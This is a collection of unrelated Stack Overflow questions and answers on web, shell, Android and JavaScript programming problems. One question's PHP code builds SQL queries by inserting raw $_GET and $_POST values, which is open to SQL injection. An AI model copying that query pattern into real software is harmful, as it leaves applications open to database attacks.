12680134	0	 <blockquote> <p>Not sure why it acts like that tho.. The CSS folder is in the same folder as the actual php file.</p> </blockquote> <p>You've linked to it using a relative URI:</p> <pre><code>&lt;link rel="stylesheet" type="text/css" media="all" href="./css/text.css" /&gt; </code></pre> <p>e.g. the <code>./css/text.css</code>, and while the css file may be in the same directory as <code>picture.php</code> file (which I assume is what is generating the content) but the browser is what actually makes the request for the CSS, not the picture.php script. The browser requests this URL <code>http://www.mysite.com/picture/1</code>, and the server internally rewrite the <code>/picture/1</code> to <code>/picture.php?id=1</code>, the browser has no clue that's happened. So it sees the base URI as <code>/picture/</code>. If the browser went directly to the php file: <code>http://www.mysite.com/picture.php?id=1</code>, the base URI would be <code>/</code> and the css would resolve just fine to <code>/./css/text.css</code>. But the <code>/picture/1</code> request has a different base URI so the browser (with no clue that the base is different) blindly attempts to retrieve the css as <code>/picture/./css/text.css</code>, which fails because you have rules that mishandle that URI. Normally you'd just get a 404, but the rules you have after the picture rewrite mishandles the URI and returns a 500 server error.</p> <p>You can either add in your header:</p> <pre><code>&lt;base href="/"&gt; </code></pre> <p>in the content generated by <code>picture.php</code>, or make the URI's absolute:</p> <pre><code>&lt;link rel="stylesheet" type="text/css" media="all" href="/css/text.css" /&gt; </code></pre>
22140619	0	Restricting method execution from other class method <p>Somebody asked me this question and I am not able to find out the solution, I have a class <code>A</code> with method <code>a1</code> and <code>a2</code>:</p> <p><code>Class A {a1() a2()}</code>:</p> <p>and a class <code>B</code> with method <code>b1</code> and <code>b2</code>:</p> <p><code>Class B {b1() b2()}</code></p> <p>Considering multithreading environment i want to stop execution of b1 when a1 is called and same applies for b2 and a2. Both the objects are independent. Is this possible? </p>
27087932	0	PHP Not sent automatic email on remote server <p>I wrote codes that should send auto email using PEAR. every thing is OK on my local MAC OS system but not working on windows based remote server. here is my codes:</p> <pre><code>&lt;?php require_once('../config/connection.php'); include_once("Mail.php"); $id=$_GET['id']; if(isset($_POST['update-visa-status-btn'])){ $status=$_POST['status']; mysqli_query($con,"UPDATE `visa` SET `status`='$status' WHERE `id`='$id'"); $visa=mysqli_query($con,"SELECT * FROM `visa` WHERE `id`='$id'"); $row_visa=mysqli_fetch_assoc($visa); $user_id=$row_visa['userid']; $user_info=mysqli_query($con,"SELECT * FROM `user` WHERE `id`='$user_id'"); $row_user_info=mysqli_fetch_assoc($user_info); $From = "..."; $To="..."; $Subject = "..."; $Message = ' &lt;html&gt; &lt;head&gt; &lt;/head&gt; &lt;body&gt; &lt;!-- SOME HTML CODES THAT MAKES HTML EMAIL BODY --&gt; &lt;/body&gt; &lt;/html&gt;'; $Host = "..."; $Username = "..."; $Password = "..."; $content_type="text/html"; $Headers = array ('From' =&gt; $From, 'To' =&gt; $To, 'Subject' =&gt; $Subject, 'content-type' =&gt; $content_type); $SMTP = Mail::factory('smtp', array ('host' =&gt; $Host, 'auth' =&gt; true, 'username' =&gt; $Username, 'password' =&gt; $Password)); $mail = $SMTP-&gt;send($To, $Headers, $Message); if (PEAR::isError($mail)){ echo($mail-&gt;getMessage()); } else { echo("Email Message sent!"); }} ?&gt; </code></pre> <p>On remote server none of messages success or error not shown &amp; no email sent but on local, every thing works like a charm.Thank you for your help.</p>
13242813	0	can't get stdout to a variable <p>it seems silly... I don't know what I am doing wrong....</p> <p>I need to change the .txt files encoding to utf-8. here the script:</p> <pre><code>#!/bin/bash for NOME_ARQ in *.txt do ##1 - verify file encoding and store in CODIFICACAO CODIFICACAO=$(file --mime-encoding "$NOME_ARQ" | cut -d" " -f2) ##2 - convert to utf-8 iconv -f "$CODIFICACAO" -t utf-8 "$NOME_ARQ" -o temp01.txt done </code></pre> <p>Have tried several ways for the ##1, but always get the following error:</p> <pre><code>sc-sini2csv: line 5: sintax error near `token' unexpected `CODIFICACAO=$(file --mime-encoding "$NOME_ARQ" | cut -d" " -f2)' sc-sini2csv: line 5: `CODIFICACAO=$(file --mime-encoding "$NOME_ARQ" | cut -d" " -f2)' </code></pre> <p>We see from the error, that the problem occur when assigning the variable $CODIFICACAO</p> <p>As far as I've looked around there are 2 ways of assigning the STDOUT to a variable:</p> <p>1- using backtick:</p> <pre><code>CODIFICACAO=`file --mime-encoding "$NOME_ARQ" | cut -d" " -f2` </code></pre> <p>or</p> <p>2- using $():</p> <pre><code>CODIFICACAO=$(file --mime-encoding "$NOME_ARQ" | cut -d" " -f2) </code></pre> <p>Both of them will give the same error. </p> <p>As I wrote, it seems silly, but I'm stucked on this error..... any hel will be much appreciated !!! </p> <p>PS: using $() or backticks directly from terminal (outside a bash script) will work.... but i need it into a shell script.</p> <p>In time: I'm using ubuntu with bash shell</p> <p>Thanks in advance !!! Silvio</p>
14096455	0	How can I create a directed graph of strings in JavaScript? <p>I am trying to create a directed graph data structure in JavaScript. I want each node in the graph to be doubly-linked, so that I can obtain a list of links that each node points to, as well as the links that point to that node. Each node is an array with 3 elements, like so: <code>[["node that links to node a"], "node a", ["node that node a links to"]]</code></p> <pre><code>//The functions linkNodes and unlinkNodes should add and remove nodes links from the directed graph, respectively. var nodes = new Object(); function linkNodes(a, b){ //a should be a string, and b should be a string as well //create the node a, if it doesn't exist yet //create the node b, if it doesn't exist yet //link the node a to the node b } function unlinkNodes(){ //unlink the nodes a and b, if a and b exist //create the node a, if it doesn't exist yet } function getNode(string){ //get the node that corresponds to the string //if the string doesn't exist, then return false } </code></pre> <p>jsfiddle: <a href="http://jsfiddle.net/NTKZ9/1/" rel="nofollow">http://jsfiddle.net/NTKZ9/1/</a>​</p> <p>Is there a more concise way to implement a directed graph in JavaScript, besides the one that I've proposed here?</p>
13564819	0	 <p>Placemarker tokens are defined in the preceding paragraph (6.10.3.2):</p> <blockquote> <p>If, in the replacement list of a function-like macro, a parameter is immediately preceded or followed by a <code>##</code> preprocessing token, the parameter is replaced by the corresponding argument’s preprocessing token sequence; however, if an argument consists of no preprocessing tokens, the parameter is replaced by a <em>placemarker</em> preprocessing token instead.<sup>145)</sup></p> </blockquote> <p>And the footnote:</p> <blockquote> <p>145) Placemarker preprocessing tokens do not appear in the syntax because they are temporary entities that exist only within translation phase 4.</p> </blockquote> <p>And the last line you quoted doesn't say "undefined behaviour", it says "the behavior is undefined". I'm not sure what kind of answer you're looking for here. It says so because the authors of the standard decided so.</p>
39831789	0	 <p>not sure url is str or other types</p> <p>you can do like this:</p> <pre><code>"https" in str(df.url[len(df)-1]) </code></pre> <p>or </p> <pre><code>str(df.ix[len(df)-1].url).__contains__("https") </code></pre>
5016960	0	 <p>Try</p> <pre><code>$('#Table tr:hidden').length </code></pre> <p><a href="http://api.jquery.com/hidden-selector/" rel="nofollow"><strong>:hidden selector</strong></a></p>
9853179	0	 <p>Per @datenwolf's answer, you simply can't send more than 64k in a single UDP datagram, as that limit is implicit in the two-byte length field in the protocol.</p> <p>Furthermore, it's not actually a good idea to send even that much at once. You should limit your packets to the MTU on the path between the two ends (typically in the region of 1500 bytes or less) so that you don't get <em>fragmentation</em> in the IP layer.</p> <p>Fragmentation is bad - ok?</p>
14607934	0	 <p>Use <code>.ToString()</code>:</p> <pre><code>Year = int.Parse(bindingContext.ValueProvider.GetValue("Year").AttemptedValue ?? now.Year.ToString()); </code></pre> <p>Both variables need to be of the same type.</p>
11777477	0	Disable control in CommandItemTemplate for RadGrid in different browser <p>I am trying to disable the anchor control inside CommandItemTemplate of the radgrid. It is working fine in the IE browser but not in other browsers like chrome, firefox... Can anyone help me on this?</p> <p>Code:</p> <pre><code> HtmlAnchor ExportLink = new HtmlAnchor(); GridItem[] items = this.rgCycles.MasterTableView.GetItems(GridItemType.CommandItem); ExportLink.Disabled = true; </code></pre> <p>HTML:</p> <pre><code> &lt;CommandItemTemplate&gt; &lt;asp:Image ID="AddRecord" runat="server" ImageUrl="~/_layouts/images/RMS/Pb - Add New.png" AlternateText="Add Record" /&gt; &lt;a href="#" target="_blank" onclick="return ShowExportAppraisalDialog();" runat="server" id="Export"&gt; &lt;asp:Image ID="ExportPortfolio" runat="server" ImageUrl="~/ExportIcon.png" AlternateText="Export Portfolio" Height="16px" Width="16px" /&gt; Export &lt;/a&gt; &lt;/CommandItemTemplate&gt; </code></pre>
30398320	0	 <p>If you see <code>(lldb)</code> in the console you've most likely hit a breakpoint. If you haven't added a breakpoint there yourself there might be an exception breakpoint in your project, catching all uncaught exceptions.</p> <p>Try clicking on the "play" looking button above the console, that should continue the execution (or at least help you with what the crash was).</p>
38834833	0	 <p>The second will work fine, so long as the directory to be deleted does not contain any subdirectories. To clean out subdirectories, a recursive function is the best way, which is why in the first code sample the function <code>deleteFilesAndDirectory()</code> calls itself.</p>
7418620	0	Multiple ajax request state? <p>I'm writing a script that need that executes some paralleled ajax requests. I'm using an ajax array but i want to execute some code(make some tags visible) when all the requests are complete. here's the code hope u can help me.</p> <pre><code>function Update_All(){ var loading = document.getElementById("loading_image"); var actualizacion_completa = document.getElementById("actualizacion_completa"); loading.style.display = ""; actualizacion_completa.style.display = "none"; var i=1; var ajax= new Array(20);//objetoAjax(); var limit = 1; var ready = 1; for (i=1;i&lt;=20;i++) { var index = i-1; ajax[index] = objetoAjax(); var voatencion = document.getElementById("idatencionf"+i); var vohoras = document.getElementById("vhorasf"+i); var vtarifa = document.getElementById("tarifaclientef"+i); var voexonerado = document.getElementById("vexoneradof"+i); var voaprobado = document.getElementById("vaprobadof"+i); var campo = document.getElementById("f"+i+"c1"); if(typeof(campo) != 'undefined' &amp;&amp; campo != null){ var valor = 1; if(campo.innerHTML=="Si") valor = 2; ajax[index].open("GET","update.php?atencion="+voatencion+"&amp;opc="+5+"&amp;valor="+valor+"&amp;exonerado="+voexonerado.value+"&amp;tarifa="+vtarifa.value+"&amp;horas="+vohoras.value); ajax[index].send(null); limit = i; ajax[index].onreadystatechange=function() { if (ajax[index].readyState==4 &amp;&amp; ajax[index].status == 200) { ready++; if(ready == limit){ loading.style.display = "none"; actualizacion_completa.style.display = ""; } } } } else{ break; } } } </code></pre> <p>the problem is ready never gets equal to limit.</p> <p>PS: srry about the spanish variable's names;</p>
22064188	0	if/else won't go into else <p>I wrote an if/else statement for a login page, I already used it before in other pages and it works. It doesn't seem to work now however. The if part works, but it won't get to the else part. (I shortened the code normally the if will do a lot more but because that's already working I only focus on the else part here). Thanks in advance!</p> <pre><code> $error = false; if (**isset**($_POST['username']) &amp;&amp; **isset**($_POST['password'])) { $username = $_POST['username']; $password = $_POST['password']; } else { $error = true; } if(!$error){ echo 'it worked'; } else { echo 'not all fields are filled in'; } </code></pre> <p>Maybe I should tell you that it's not the bottom else but it's the top one which doesn't work. Because if I change $error to true it works. It just doesn't get into the else which changes error to true. </p>
30922485	0	using String.startswith() with a unicode string <p>I am trying to trim a string scraped from an HTML page using BeautifulSoup. It starts with </p> <pre><code>&amp;#160;–&amp;#160; </code></pre> <p>in the html page. I am trying the following code:</p> <pre><code>if thestring.startswith(unichr(160) + '-' + unichr(160)): print "found starting sequence" thestring= thestring[3:] </code></pre> <p>However, I the <code>if</code> condition is not being triggered (as confirmed by the fact that my print statement is not happening). How do I set up that condition?</p> <p>(Also in some cases, thestring is initially only those 3 characters, in which case I want thestring to end up as the empty string -- will this do it or will I need to separately test for that case?)</p>
35479798	0	AngularJS can't fetch more than 4 records <p><em>The following code is for an AngularJS code to read data from a .txt file and echo out on the webpage. It works just fine for the entered records in the .txt file, but upon increasing the number of records above 4, the code fails to work. What could be wrong?</em></p> <p><em>Index.html</em></p> <pre><code>&lt;html&gt; &lt;head&gt; &lt;title&gt;Angular JS Includes&lt;/title&gt; &lt;style&gt; table, th , td { border: 1px solid grey; border-collapse: collapse; padding: 5px; } table tr:nth-child(odd) { background-color: #f2f2f2; } table tr:nth-child(even) { background-color: #ffffff; } &lt;/style&gt; &lt;/head&gt; &lt;body&gt; &lt;h2&gt;AngularJS Sample Application&lt;/h2&gt; &lt;div ng-app="" ng-controller="studentController"&gt; &lt;table&gt; &lt;tr&gt; &lt;th&gt;Name&lt;/th&gt; &lt;th&gt;Roll No&lt;/th&gt; &lt;th&gt;Percentage&lt;/th&gt; &lt;/tr&gt; &lt;tr ng-repeat="student in students"&gt; &lt;td&gt;{{ student.Name }}&lt;/td&gt; &lt;td&gt;{{ student.RollNo }}&lt;/td&gt; &lt;td&gt;{{ student.Percentage }}&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;/div&gt; &lt;script&gt; function studentController($scope,$http) { var url="data.txt"; $http.get(url).success( function(response) { $scope.students = response; }); } &lt;/script&gt; &lt;script src="http://ajax.googleapis.com/ajax/libs/angularjs/1.2.15/angular.min.js"&gt;&lt;/script&gt; &lt;/body&gt; </code></pre> <p><em>Data.txt</em></p> <pre><code>[ { "Name" : "Collin James", "RollNo" : 101, "Percentage" : "81.5%" }, { "Name" : "Michael Ross", "RollNo" : 201, "Percentage" : "70%" }, { "Name" : "Robert Flare", "RollNo" : 191, "Percentage" : "75%" }, { "Name" : "Julian Joe", "RollNo" : 111, "Percentage" : "77%" } ] </code></pre>
37002717	0	 <p>From your android device you should not put <code>localhost/###.#.#.#:##</code>, but instead just your server address and port like <code>###.#.#.#:##</code>, for example <code>192.168.1.12:80</code>. Because you are not running any server on your android app.</p>
8066458	0	How to assign a value of base page element from child page's Page_Load? <p>I'm probably not the first who has this problem, but I can't find such question and solution for it. </p> <p>I have a base .aspx page and child page which inherits from the base page. From child's <code>Page_Load</code> method I call a method on a base page like <code>base.SetLiteral(value)</code> which acceses a literal defined in the base page. I get a NullReferenceException, as the literal is null.</p> <p>It probably has to do with page lifecycle as base page's controls are not instansiated at that point yet.</p> <p>How can I do it?</p> <p>EDIT</p> <p>Here is a stack trace of the exception. Doesn't say anything to me.</p> <pre><code>System.NullReferenceException was unhandled by user code Message=Object reference not set to an instance of an object. Source=PageInheritance StackTrace: at PageInheritance.BasePage.SetLiteral(String value) in D:\crap-projects\PageInheritance\BasePage.aspx.cs:line 17 at PageInheritance.Page1.Page_Load(Object sender, EventArgs e) in D:\crap-projects\PageInheritance\Page1.aspx.cs:line 13 at System.Web.Util.CalliHelper.EventArgFunctionCaller(IntPtr fp, Object o, Object t, EventArgs e) at System.Web.Util.CalliEventHandlerDelegateProxy.Callback(Object sender, EventArgs e) at System.Web.UI.Control.OnLoad(EventArgs e) at System.Web.UI.Control.LoadRecursive() at System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) InnerException: </code></pre>
22549045	0	 <p><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/break">break</a> is to break out of a loop like for, while, switch etc which you don't have here, you need to use <code>return</code> to break the execution flow of the current function and return to the caller.</p> <pre><code>function loop() { if (isPlaying) { jet1.draw(); drawAllEnemies(); requestAnimFrame(loop); if (game == 1) { return } } } </code></pre> <p>Note: This does not cover the logic behind the if condition or when to return from the method, for that we need to have more context regarding the <code>drawAllEnemies</code> and <code>requestAnimFrame</code> method as well as how <code>game</code> value is updated</p>
5475979	0	Dynamically generating a function name based on a variable <p>What I want is to create a function whose name will come from the content of one of my variables.</p> <p>Example :</p> <pre><code>var myFunctionName = "tryAgain";` [tryAgain] | | | function myFunctionName() { alert('Try Again !'); }; </code></pre>
22713161	0	 <p>Seems like you are using an image from a URL that has not set correct Access-Control-Allow-Origin header and hence the issue.. You can fetch that image from your server and get it from your server to avoid CORS issues..</p>
15447316	0	 <p>Validation doesn't work with knockout bindings....</p> <p>You have to duplicate the validation in client side. The faster way is using knockout validation plugin, but it is slow when you have a lot of data..</p> <p><a href="https://github.com/ericmbarnard/Knockout-Validation" rel="nofollow">https://github.com/ericmbarnard/Knockout-Validation</a></p> <p>Or you can just use jquery validation.</p>
37118922	0	Translating cURL into Swift NSURLSession <p>I am working with the Twilio API to perform a lookup with a phone number. I have an SID &amp; API token, and the example call gives me this cURL command:</p> <pre><code>curl -XGET "https://lookups.twilio.com/v1/PhoneNumbers/4192240117?Type=carrier&amp;Type=caller-name" -u "{AccountSid}:{AuthToken}" </code></pre> <p>However, I'm not sure how to translate that into a valid URL when creating my NSURLSession. </p> <p>Does the <code>AccountSID</code> &amp; <code>AuthToken</code> token go into the header of the request, or are they parameters to the request?</p> <p>I have tried adding them as both, using the awesome Paw app, to see if I could get it working, but I have not been able to. </p> <p>I have tried searching Google for what the <code>-u</code> command is in cURL, so I added the <code>username</code> &amp; <code>password</code> fields in the request header with the appropriate key, but no luck. </p> <p>Can anyone explain where I need to put <code>AccountSID</code> &amp; <code>AuthToken</code> in the URL to successfully make the request?</p>
2681257	0	 <p>yes, this is all possible, if you could give us an example of what you want, maybe with a screenshot or something, then we can help you with some code examples</p>
32087202	0	 <p>Go to your module or extension folder then /Block/Adminhtml/Blog/Grid.php. Open this Grid.php file and search the function <code>protected function _prepareCollection()</code> and add the following code under this function before <code>return parent::_prepareColumns();</code>.</p> <pre><code>$this-&gt;addExportType('*/*/exportCsv', Mage::helper('blog')-&gt;__('CSV')); $this-&gt;addExportType('*/*/exportXml', Mage::helper('blog')-&gt;__('XML')); </code></pre> <p>After add this code it may be looks like that: Next, in this extension or module folder go to /controllers/Adminhtml/ and open the controller file and add the following code under the class (add the code bottom of the page before last '}') </p> <pre><code>public function exportCsvAction() { $fileName = 'blog.csv'; $content = $this-&gt;getLayout()-&gt;createBlock('[your-module-name]/adminhtml_[your-module-name]_grid') -&gt;getCsv(); $this-&gt;_sendUploadResponse($fileName, $content); } public function exportXmlAction() { $fileName = 'blog.xml'; $content = $this-&gt;getLayout()-&gt;createBlock('[your-module-name]/adminhtml_[your-module-name]_grid') -&gt;getXml(); $this-&gt;_sendUploadResponse($fileName, $content); } protected function _sendUploadResponse($fileName, $content, $contentType='application/octet-stream') { $response = $this-&gt;getResponse(); $response-&gt;setHeader('HTTP/1.1 200 OK',''); $response-&gt;setHeader('Pragma', 'public', true); $response-&gt;setHeader('Cache-Control', 'must-revalidate, post-check=0, pre-check=0', true); $response-&gt;setHeader('Content-Disposition', 'attachment; filename='.$fileName); $response-&gt;setHeader('Last-Modified', date('r')); $response-&gt;setHeader('Accept-Ranges', 'bytes'); $response-&gt;setHeader('Content-Length', strlen($content)); $response-&gt;setHeader('Content-type', $contentType); $response-&gt;setBody($content); $response-&gt;sendResponse(); die; } </code></pre> <p>Now replace the [your-module-name] text with your extension or module name and save then check.</p> <p><strong>* Please like if this post help you!*</strong></p>
32608267	0	 <p>You're not using the Java API, except for the call to <code>parseSMTLIB2String</code>. This function does not execute any SMT commands and there is no function that would do that for you. <code>parseSMTLIB2String</code> exists exclusively to parse assertions, it will ignore everything else. For this particular problem, I recommend to simply pass the problem file to <code>z3.exe</code> either as a command line argument or via stdin (use <code>-in</code> option). This produces</p> <pre><code>unsat (x1 x3) </code></pre> <p>If the intent is to use the Java API for other things at a later point, see the <a href="https://github.com/Z3Prover/z3/blob/master/examples/java/JavaExample.java#L2078" rel="nofollow">Java API unsat core example</a>.</p>
40273994	0	SVG- how to define reference/anchor points <p>Is it possible to define some kind of <strong>anchor/reference point</strong> inside an SVG? Ideally as an attribute, probably custom, as I haven't found some built in. A possible application of such an attribute would be very similar to the one of text-anchor: <a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Attribute/text-anchor" rel="nofollow">text-anchor</a></p> <p>My main purpose is to be able to place one SVG on top of another, just like placing text at a specific point of an SVG. The idea is that the <strong>anchors</strong> of each SVG should <strong>match</strong> inside a global co-ordination system for simplicity).</p> <p>Thanks for any info!</p> <p><em>similar question</em>: <a href="https://stackoverflow.com/questions/19728471/rects-equivalent-to-texts-text-anchor-presentation-attribute">transform-translate</a></p>
17458681	0	Laravel 4 - how to use a unique validation rule / unique columns with soft deletes? <p>Assume, you are trying to create a new user, with a User model ( using soft deletes ) having a unique rule for it's email address, but there exists a trashed user within the database.</p> <p>When trying to validate the new user's data, you will get a validation error, because of the existing email.</p> <p>I made some kind of extra validation within my Controllers, but wouldn't it be nice to have it all within the Model?</p> <p>Would you suggest creating a custom validation rule?</p> <p>As I haven't found a clean solution now, I am interessted in how others solved this problem.</p>
27330748	0	 <p><code>WebClient.resCode</code> is a non-nullable <code>Int</code> so it is 0 by default hence the problem would be either the request not being sent or the response not being read. </p> <p>As you are obviously writing the request, the problem should the latter. Try calling <a href="http://fantom.org/doc/web/WebClient#readRes" rel="nofollow">WebClient.readRes()</a> before <code>resStr</code>.</p> <blockquote> <p>This readRes()</p> <p>Read the response status line and response headers. This method may be called after the request has been written via writeReq and reqOut. Once this method completes the response status and headers are available. If there is a response body, it is available for reading via resIn. Throw IOErr if there is a network or protocol error. Return this.</p> </blockquote> <p>Try this:</p> <pre><code>echo(spreadsheet_inputer.readRes.resStr) </code></pre> <p>I suspect the following line will also cause you problems:</p> <pre><code>spreadsheet_inputer.reqOut.writeXml(xml_test.writeToStr).close </code></pre> <p>becasue <code>writeXml()</code> escapes the string to be XML safe, whereas you'll want to just print the string. Try this:</p> <pre><code>spreadsheet_inputer.reqOut.writeChars(xml_test.writeToStr).close </code></pre>
23343432	0	 <p>Problem solved! The problem was that the work order number did not exist. It is a very misleading error but once an existing work order was tested, it fetched the work order with no issues.</p>
32152775	0	 <pre class="lang-scala prettyprint-override"><code>import scala.collection._ import scala.collection.JavaConversions._ val myMap: mutable.Map[K,V] = ??? val unmodifiable: mutable.Map[K,V] = java.util.Collections.unmodifiableMap[K,V](myMap) val newMap = unmodifiable.asInstanceOf[scala.collection.Map[K,V]] </code></pre> <p>You can cast <code>newMap</code> to a <code>mutable.Map</code>, but modifications will throw <code>UnsupportedOperationException</code>.</p> <p>In my case, the maps may be small enough that <code>toMap</code> may be faster and use less memory.</p>
15726639	0	Android : Using Handler but still meet NetworkOnMainThreadException <p>I do some network thing, and I understand I cannot do it on main thread. So, I put it into Handler. Here is my code:</p> <pre><code>handler = new Handler(); handler.postDelayed(new OrderTask(this, url), 10 * 1000); // periodically run every 10 seconds. </code></pre> <p>And here is my Runnable class:</p> <pre><code>public class OrderTask implements Runnable { OrderFragment fragment; String url; public OrderTask(OrderFragment fragment, String url) { this.fragment = fragment; this.url = url; } @Override public void run() { synchronized (fragment.orders) { fragment.orders = Order.loadServerOrders(url); // network code here } fragment.adapter.notifyDataSetChanged(); } } </code></pre> <p>But when It runs, it wll throw exception : <code>NetworkOnMainThread</code> at line <code>loadSeverOrder</code>. I cannot explain why. Please help me figure this.</p> <p>Thanks :)</p>
36041654	0	 <p>I think you want to submit the form when the input is clicked so:</p> <pre><code>var input = document.querySelector('input'), form = document.querySelector('form'); input.addEventListener('click', function(){ form.submit(); }); </code></pre>
39173741	0	Is A1 found between values B and C, where B is the start number and C is the end number, regardless of row? Excel <p>Is A1 found between values B and C, where B is the start number and C is the end number, regardless of row? In excel. </p> <p><a href="https://i.stack.imgur.com/N547W.png" rel="nofollow noreferrer">screenshot</a></p> <p><a href="https://i.stack.imgur.com/N547W.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/N547W.png" alt="enter image description here"></a></p> <p>I am trying to figure if the transcription start site coordinate in A, is found within a gene (start coordinate is in B and end coordinate is in C). If so, write "yes", if not, write "no".</p>
34391650	0	 <p>you should do </p> <pre><code>public List&lt;DataLstViewEmail&gt; GetRows() { </code></pre> <p>instead of </p> <pre><code>public IEnumerable&lt;object&gt; GetRows() { </code></pre>
6769550	0	AJAX FilteredTextBoxExtender allow carriage return <p>I have a multi-line text box that I am using an AJAX FilteredTextBoxExtender to limit the user input to only numbers. I'd like to also allow the user to add a new line by using the enter key. I've searched and haven't found anything that works. Does anyone know how to do this?</p> <p>Thanks in advance!</p> <p>Here's my code for reference:</p> <pre><code>&lt;asp:TextBox ID="txtEIDEntryBox" runat="server" CssClass="PrettyEntryBox" TextMode="MultiLine" Height="300px" Width="100px"&gt;&lt;/asp:TextBox&gt; &lt;ajaxToolkit:FilteredTextBoxExtender ID="ftbeEID" runat="server" TargetControlID="txtEIDEntryBox" FilterType="Custom" ValidChars="0123456789"&gt;&lt;/ajaxToolkit:FilteredTextBoxExtender&gt; </code></pre>
24104117	0	 <p>That usually happens when trying to use a model that was trained for a different tagger version. Make sure you are using the models distributed with the 3.3.1 tagger.</p> <p>I faced the same problem once. Then I realized that the jar version I was using was from 3.3.1 release. And the model was from 3.2.0. I removed the 3.2.0 model files and replaced them with 3.3.1.</p> <p>Hope this helps.</p>
39294	0	 <p>For me, " <em>business logic</em> " makes up all the entities that represent data applicable to the problem domain, as well as the logic that decides on "what do do with the data"..</p> <p>So it should really consist of "data transport" (not access) and "data manipulation".. Actually data access (stuff hitting the DB) should be in a different layer, as should presentation code.</p>
14474895	0	How to encode method parameters using HadoopRpcRequestProto request field in Hadoop <p>The Hadoop RPC engine uses Protocol Buffer to encode/decodes the bytes from the wire.</p> <p>I am trying to invoke a method on a Hadoop Server using the HadoopRpcRequestProto</p> <pre><code>HadoopRpcRequestProto rpcReHadoopRpcRequestProtoquest; HadoopRpcRequestProto.Builder builder = HadoopRpcRequestProto.newBuilder(); builder.setMethodName("foo"); </code></pre> <p>So if my "foo" method takes two parameters, foo(String name, int num);</p> <p>How do I encode the parameters and set them to the HadoopRpcRequestProto's request field?</p> <p>TIA</p>
12752213	0	C++ linking the required DLL with the application <blockquote> <p><strong>Possible Duplicate:</strong><br> <a href="http://stackoverflow.com/questions/4702732/the-program-cant-start-because-libgcc-s-dw2-1-dll-is-missing">The program can&#39;t start because libgcc_s_dw2-1.dll is missing</a><br> <a href="http://stackoverflow.com/questions/4984612/program-cant-find-libgcc-s-dw2-1-dll">Program can&#39;t find libgcc_s_dw2-1.dll</a> </p> </blockquote> <p>So im using the MinGw C++ Compiler(g++) and i created the simplest application which just prints "Hello World". Now i want to build this application not in debug mode, and to run it on another computer. I searched the net about this and i came across a post in which somebody used PEDUMP to see what DLL's did the program need, i used that and the simple Hello World just needs the Kernel32.dll(which obviously is located in the system32) and the libgcc_s_dw2-1.dll which i believe is of the MinGw compiler. Now how do i link the libgcc_s_dw2-1.dll to my application? Also is it linked inside(binded) the application(exe) or is it separated(not sure how linking works) and if its separated how do i tell the program in which directory to see for that particular dll? Hope i was clear because im not sure how to explain it.</p> <pre><code>#include&lt;iostream&gt; using namespace std; int main() { cout &lt;&lt; "Hello"; } </code></pre> <p>`Here is the code @jarekczek</p>
20280272	0	How to connect multiple xml files <p>My app needs different screens and each screen should be connected with each other. For example there are 5 screens, the main screen, 4 other screens connected to the main screen. The main screen contains 4 buttons to goto other screens and the other screens has a button to go back to the main screen. The problem is i cant get the ids of other screens. And do i need to create 4 .java files for the new screens?</p> <p>This is the code for connecting main screen to others:</p> <pre><code>LayoutInflater inflater; View one; public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.total_assets); inflater = (LayoutInflater) getSystemService(Context.LAYOUT_INFLATER_SERVICE); one = inflater.inflate(R.layout.total_assets,null); Button home = (Button) findViewById(R.id.goback); home.setOnClickListener(new OnClickListener() { @Override public void onClick(View arg0) { // TODO Auto-generated method stub setContentView(R.layout.activity_acc_soft); } }); </code></pre> <p>total_assets is the second screen and actinity_acc_soft is the main screen.</p> <p>(plz help newbie to android)</p>
21852526	0	How to convert an ASP.NET/PushSharp project to Azure to send push notifications? <p>I've been using ASP.NET and PushSharp to send push notifications to my iOS app clients with the simple following code (after certificate configurations etc):</p> <pre><code>//ASP.NET + PushSharp AppleNotification notification = new AppleNotification(PushToken).WithAlert(message); broker.QueueNotification&lt;AppleNotification&gt;(notification); </code></pre> <p>This worked perfectly on isolated hosts running classic IIS/ASP.NET but now I'm moving towards Windows Azure. When I try this code on Windows Azure, notifications sometimes fail to send, and restarting the website (Standard mode) helps. However, since this is an unreliable approach I've decided to move to Azure's Notification Hub service. I've created the hub, uploaded my certificates, started coding but I couldn't find the equivalent of my previous code. I don't need to broadcast messages to all users, I need to send a push notification to a single device, given that I have the push token. I've looked at <a href="http://stackoverflow.com/questions/21323712/windows-azure-servicebus-push-notifications-apns-architecture">Windows Azure ServiceBus Push Notifications APNS Architecture</a> but the link provided at the answer is extremely confusing and I couldn't understand it. How can I, simply push a message to a push token on Windows Azure? Do I have to use notification hub? (I don't use a VM) Any simple approach is welcome, pure ASP.NET/PushSharp-based approach is preferred as I don't need to change my whole codebase.</p>
22242913	0	 <p>Write only one function &amp; call it on both event.</p> <pre><code>$( "#target" ).keypress(function() { </code></pre> <p>funABC(); });</p> <pre><code> $( "#target" ).click(function() { </code></pre> <p>funABC(); });</p> <pre><code>function funABC(){alert("DONE");} </code></pre> <p>One more shortcut :</p> <pre><code> $( "#target" ).click(function() { $( "#target" ).keypress(); }); $( "#target" ).keypress(function() { funABC(); }); </code></pre>
15730635	0	Jquery Ajax requests not working on IE 10 (due to cache) <p>I would like to begin with this. I am fed up with IE. I have the code below:</p> <pre><code>$(function () { $("#cal").on('click', "#forward", function () { $.ajax({ url: "Home/Calendar?target=forward", type: "GET", success: function (result) { $("#cal").html(result); } }); }); }); $(function () { $("#cal").on('click', "#backwards", function () { $.ajax({ url: "Home/Calendar?target=backwards", type: "GET", success: function (result) { $("#cal").html(result); } }); }); }); </code></pre> <p>It is an ajax call to a controller action in an C# MVC application. It just goes back and forth a calendar's months replacing the html. Now I know that you need to reattach the event due to the <code>html()</code> call and that is why I use <code>on()</code> with JQuery 1.7. I have used <code>delegate()</code> as well. In FF, Chrome it works as intended. In IE 10 it does not. I am at a loss. I knew that IE had issues with delegate in IE8 and with JQuery &lt; 1.5 but this is not the case. </p> <p>Does anyone know how to solve this?</p>
